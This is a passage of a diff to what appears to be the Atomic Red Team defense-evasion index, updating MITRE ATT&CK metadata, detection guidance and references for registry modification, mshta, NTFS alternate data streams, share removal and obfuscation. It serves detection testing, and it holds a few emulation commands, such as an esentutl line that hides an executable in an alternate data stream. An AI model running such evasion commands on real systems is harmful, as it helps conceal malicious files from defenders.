v1.11. + Retrieved August 10, 2018. + source_name: Microsoft RegDelNull July 2016 + - url: https://technet.microsoft.com/en-us/library/cc754820.aspx + description: Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015. source_name: Microsoft Remote - url: https://technet.microsoft.com/en-us/library/cc754820.aspx + - url: https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353 + description: Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. + Retrieved August 9, 2018. + source_name: SpectorOps Hiding Reg Jul 2017 + - url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657 + description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry + value was modified. Retrieved August 9, 2018.' + source_name: Microsoft 4657 APR 2017 + - url: https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/ + description: 'Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows + Registry. Retrieved August 9, 2018.' + source_name: TrendMicro POWELIKS AUG 2014 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:23.587Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Bartosz Jerzman + - Travis Smith, Tripwire + - David Lu, Tripwire x_mitre_data_sources: - Windows Registry - File monitoring - Process monitoring - Process command-line parameters + - Windows event logs x_mitre_defense_bypassed: - Host forensic analysis + x_mitre_detection: |- + Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file. + + Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), which may require additional logging features to be configured in the operating system to collect necessary information for analysis. + + Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016). x_mitre_permissions_required: - User - Administrator - SYSTEM - x_mitre_contributors: - - Bartosz Jerzman - - Travis Smith, Tripwire - id: attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:23.587Z' identifier: T1112 atomic_tests: - name: Modify Registry of Current User Profile - cmd @@ -6083,6 +6243,8 @@ defense-evasion: collection and closing of ntuser.dat ###\n[gc]::Collect()\nreg unload \"HKU\\$($ProfileList[$p].SID)\"" T1170: technique: + id: attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Mshta description: "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia @@ -6100,77 +6262,69 @@ defense-evasion: can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub - SubTee The List)\n\nDetection: Use process monitoring to monitor the execution - and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated - script within the command-line. Compare recent invocations of mshta.exe with - prior history of known good arguments and executed binaries to determine anomalous - and potentially adversarial activity. Command arguments used before and after - the mshta.exe invocation may also be useful in determining the origin and - purpose of the binary being executed.\n\nMonitor use of HTA files. If they - are not typically used within an environment then execution of them may be - suspicious.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process - command-line parameters\n\nDefense Bypassed: Application whitelisting\n\nPermissions - Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias, Ye Yint - Min Thu Htut, Offensive Security Team, DBS Bank" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution + SubTee The List)" external_references: - - url: https://attack.mitre.org/wiki/Technique/T1170 + - external_id: T1170 + url: https://attack.mitre.org/techniques/T1170 source_name: mitre-attack - external_id: T1170 - - description: Wikipedia. (2017, October 14). HTML Application. Retrieved October + - url: https://en.wikipedia.org/wiki/HTML_Application + description: Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017. source_name: Wikipedia HTML Application - url: https://en.wikipedia.org/wiki/HTML%20Application - - description: Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017. + - url: https://msdn.microsoft.com/library/ms536471.aspx + description: Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017. source_name: MSDN HTML Applications - url: https://msdn.microsoft.com/library/ms536471.aspx - - description: Gross, J. (2016, February 23). Operation Dust Storm. Retrieved + - url: https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf + description: Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. source_name: Cylance Dust Storm - url: https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf - - description: McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) + - url: https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/ + description: McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017. source_name: Red Canary HTA Abuse Part Deux - url: https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/ - - description: 'Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. + - url: https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html + description: 'Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.' source_name: FireEye Attacks Leveraging HTA - url: https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html - - description: Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis - Of Kovter Persistence. Retrieved December 5, 2017. - source_name: Airbus Security Kovter Analysis - - description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing - LNK. Retrieved April 24, 2017. - source_name: FireEye FIN7 April 2017 - url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html - description: "[ Smith, C. (2017, July 14). TheList.txt. Retrieved October 27, 2017." source_name: GitHub SubTee The List + - url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html + description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing + LNK. Retrieved April 24, 2017. + source_name: FireEye FIN7 April 2017 + - description: Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis + Of Kovter Persistence. Retrieved December 5, 2017. + source_name: Airbus Security Kovter Analysis object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-01-16T16:13:52.465Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Process monitoring - Process command-line parameters + x_mitre_contributors: + - Ricardo Dias + - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank x_mitre_defense_bypassed: - Application whitelisting + x_mitre_detection: |- + Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed. + + Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious. x_mitre_permissions_required: - User x_mitre_remote_support: false - x_mitre_contributors: - - Ricardo Dias - - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank - id: attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2018-01-16T16:13:52.465Z' identifier: T1170 atomic_tests: - name: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject @@ -6191,83 +6345,84 @@ defense-evasion: ' T1096: technique: + id: attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: NTFS File Attributes description: |- - Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternative Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) + Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015) - - Detection: Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions, used to interact with EA, and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017) - - The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) - - Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) - - Platforms: Windows - - Data Sources: File monitoring, Kernel drivers, API monitoring - - Defense Bypassed: Signature-based detection, Anti-virus, Host forensic analysis - - System Requirements: NTFS partitioned hard drive - - Contributors: Red Canary - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion external_references: - - url: https://attack.mitre.org/wiki/Technique/T1096 + - external_id: T1096 + url: https://attack.mitre.org/techniques/T1096 source_name: mitre-attack - external_id: T1096 - - description: Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS + - url: http://msdn.microsoft.com/en-us/library/aa364404 + description: Microsoft. (n.d.). File Streams. Retrieved December 2, 2014. + source_name: Microsoft File Streams + - url: http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html + description: Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016. source_name: Journey into IR ZeroAccess NTFS EA - url: http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html - - description: Microsoft. (n.d.). File Streams. Retrieved December 2, 2014. - source_name: Microsoft File Streams - url: http://msdn.microsoft.com/en-us/library/aa364404 - - description: Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator - Design. Retrieved March 21, 2018. - source_name: SpectorOps Host-Based Jul 2017 - url: https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea - - description: Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved - March 21, 2018. - source_name: Microsoft NTFS File Attributes Aug 2010 - url: https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/ - - description: Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. + - url: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/ + description: Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018. source_name: MalwareBytes ADS July 2015 - url: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/ - - description: Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. + - url: https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea + description: Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator + Design. Retrieved March 21, 2018. + source_name: SpectorOps Host-Based Jul 2017 + - url: https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/ + description: Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018. source_name: Microsoft ADS Mar 2014 - url: https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/ - - description: Pravs. (2009, May 25). What you need to know about alternate + - url: https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore + description: Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018. source_name: Symantec ADS May 2009 - url: https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore + - url: https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/ + description: Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved + March 21, 2018. + source_name: Microsoft NTFS File Attributes Aug 2010 + - url: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/ + description: Moe, O. (2018, January 14). Putting Data in Alternate Data Streams + and How to Execute It. Retrieved June 30, 2018. + source_name: Oddvar Moe ADS1 Jan 2018 + - url: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/ + description: Moe, O. (2018, April 11). Putting Data in Alternate Data Streams + and How to Execute It - Part 2. Retrieved June 30, 2018. + source_name: Oddvar Moe ADS2 Apr 2018 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:11.147Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Red Canary + - Oddvar Moe x_mitre_data_sources: - File monitoring - Kernel drivers - API monitoring + - Process command-line parameters x_mitre_defense_bypassed: - Signature-based detection - - Anti-virus - Host forensic analysis + - Anti-virus + x_mitre_detection: |- + Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017) + + There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. + + The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) + x_mitre_platforms: + - Windows x_mitre_system_requirements: - NTFS partitioned hard drive - x_mitre_contributors: - - Red Canary - id: attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:11.147Z' identifier: T1096 atomic_tests: - name: Alternate Data Streams (ADS) @@ -6299,55 +6454,54 @@ defense-evasion: esentutl.exe /y #{path}\autoruns.exe /d #{path}\file.txt:autoruns.exe /o T1126: technique: + id: attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Network Share Connection Removal description: |- - Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use) + Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use) Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. - - Detection: Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity. - - Platforms: Windows - - Data Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs - - Defense Bypassed: Host forensic analysis - - Permissions Required: User, Administrator - - System Requirements: Established network share connection to a remote system. Level of access depends on permissions of the account used. - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion external_references: - - url: https://attack.mitre.org/wiki/Technique/T1126 + - external_id: T1126 + url: https://attack.mitre.org/techniques/T1126 source_name: mitre-attack - external_id: T1126 - - description: Microsoft. (n.d.). Net Use. Retrieved November 25, 2016. + - url: https://technet.microsoft.com/bb490717.aspx + description: Microsoft. (n.d.). Net Use. Retrieved November 25, 2016. source_name: Technet Net Use - url: https://technet.microsoft.com/bb490717.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:38.350Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Process monitoring - Process command-line parameters - Packet capture - Authentication logs + x_mitre_detection: Network share connections may be common depending on how + an network environment is used. Monitor command-line invocation of net + use commands associated with establishing and removing remote shares + over SMB, including following best practices for detection of [Windows Admin + Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems + may also be captured and decoded to look for related network share session + and file transfer activity. Windows authentication logs are also useful in + determining when authenticated network shares are established and by which + account, and can be used to correlate network share activity to other events + to investigate potentially malicious activity. x_mitre_defense_bypassed: - Host forensic analysis x_mitre_permissions_required: - - User - Administrator + - User + x_mitre_platforms: + - Windows x_mitre_system_requirements: - Established network share connection to a remote system. Level of access depends on permissions of the account used. - id: attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:38.350Z' identifier: T1126 atomic_tests: - name: Add Network Share @@ -6400,97 +6554,80 @@ defense-evasion: Remove-FileShare -Name #{share_name} T1027: technique: + id: attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Obfuscated Files or Information description: |- Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. - Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript. + Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016) - Adversaries may also obfuscate commands executed from payloads or directly via a Command-Line Interface. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017) - - Another example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding Invoke-PSImage. The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used Invoke-PSImage to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) - - Detection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). - - Flag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) - - Obfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. - - Platforms: Linux, macOS, Windows + Adversaries may also obfuscate commands executed from payloads or directly via a [Command-Line Interface](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017) - Data Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering, Process command-line parameters, Environment variable, Process Monitoring, Windows event logs, Network intrusion detection system, Email gateway, SSL/TLS inspection - - Defense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems, Application whitelisting, Process whitelisting, Log analysis, Whitelisting by file name or path - - Contributors: Red Canary, Christiaan Beek, @ChristiaanBeek - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion + Another example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding [Invoke-PSImage](https://attack.mitre.org/software/S0231). The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used [Invoke-PSImage](https://attack.mitre.org/software/S0231) to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1027 + - external_id: T1027 + url: https://attack.mitre.org/techniques/T1027 source_name: mitre-attack - external_id: T1027 - - description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election + - url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ + description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.' source_name: Volexity PowerDuke November 2016 - url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ - - description: 'Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache + - url: https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/ + description: 'Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.' source_name: Linux/Cdorked.A We Live Security Analysis - url: https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/ - - description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved + - url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/ + description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018. source_name: Carbon Black Obfuscation Sept 2016 - url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/ - - description: 'Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: + - url: https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html + description: 'Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.' source_name: FireEye Obfuscation June 2017 - url: https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html - - description: 'Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: + - url: https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf + description: 'Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.' source_name: FireEye Revoke-Obfuscation July 2017 - url: https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf - - description: White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand + - url: https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/ + description: White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018. source_name: PaloAlto EncodedCommand March 2017 - url: https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/ - - description: Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018. - source_name: Wikipedia Duqu - url: https://en.wikipedia.org/wiki/Duqu - - description: Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious - Document Targets Pyeongchang Olympics. Retrieved April 10, 2018. - source_name: McAfee Malicious Doc Targets Pyeongchang Olympics - url: https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/ - - description: Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February + - url: https://github.com/danielbohannon/Revoke-Obfuscation + description: Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018. source_name: GitHub Revoke-Obfuscation - url: https://github.com/danielbohannon/Revoke-Obfuscation - - description: Carr, N. (2016, August 14). OfficeCrackros. Retrieved February + - url: https://github.com/itsreallynick/office-crackros + description: Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018. source_name: GitHub Office-Crackros Aug 2016 - url: https://github.com/itsreallynick/office-crackros + - url: https://en.wikipedia.org/wiki/Duqu + description: Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018. + source_name: Wikipedia Duqu + - url: https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/ + description: Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious + Document Targets Pyeongchang Olympics. Retrieved April 10, 2018. + source_name: McAfee Malicious Doc Targets Pyeongchang Olympics object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:32.662Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Red Canary + - Christiaan Beek, @ChristiaanBeek x_mitre_data_sources: - Network protocol analysis - Process use of network - - Binary file metadata - File monitoring - Malware reverse engineering + - Binary file metadata - Process command-line parameters - Environment variable - - Process Monitoring 